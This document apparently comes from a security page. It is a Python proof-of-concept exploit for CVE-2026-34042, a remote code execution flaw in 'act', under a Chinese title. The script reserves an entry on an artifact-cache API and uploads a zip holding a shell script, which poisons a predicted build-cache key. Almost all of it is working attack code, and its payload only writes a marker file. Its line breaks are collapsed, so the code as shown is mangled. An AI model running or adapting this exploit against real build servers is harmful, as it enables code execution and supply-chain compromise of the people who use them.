CVE-2026-34042 act远程代码执行漏洞

import requests import zipfile import io # Exploit for CVE-2026-34042 # This script uploads a malicious cache to a vulnerable act server. def generate_malicious_cache(): # Create a zip file in memory containing a malicious script buffer = io.BytesIO() with zipfile.ZipFile(buffer, 'w', zipfile.ZIP_DEFLATED) as zf: # Add a file that will be extracted to the workspace zf.writestr('malicious.sh', '#!/bin/bash\necho "pwned" > /tmp/pwned.txt') buffer.seek(0) return buffer.getvalue() def exploit(target_host, cache_key): url = f"http://{target_host}/_apis/artifactcache/caches" headers = {"Content-Type": "application/json"} # Step 1: Reserve a cache entry payload = { "key": cache_key, "version": "1.0" } try: r = requests.post(url, json=payload, headers=headers, timeout=5) if r.status_code == 200: cache_id = r.json().get('cacheId') print(f"[+] Cache reserved with ID: {cache_id}") # Step 2: Upload the malicious content upload_url = f"http://{target_host}/_apis/artifactcache/caches/{cache_id}" files = {'file': ('archive.zip', generate_malicious_cache(), 'application/zip')} upload_r = requests.put(upload_url, files=files, timeout=5) if upload_r.status_code == 200: print("[+] Malicious cache uploaded successfully.") else: print(f"[-] Upload failed: {upload_r.status_code}") else: print(f"[-] Failed to reserve cache: {r.status_code}") except Exception as e: print(f"[-] Error: {e}") if __name__ == "__main__": # Target host and a predicted cache key target = "localhost:5000" # Example port, check actual configuration predicted_key = "Linux-node-modules-" exploit(target, predicted_key)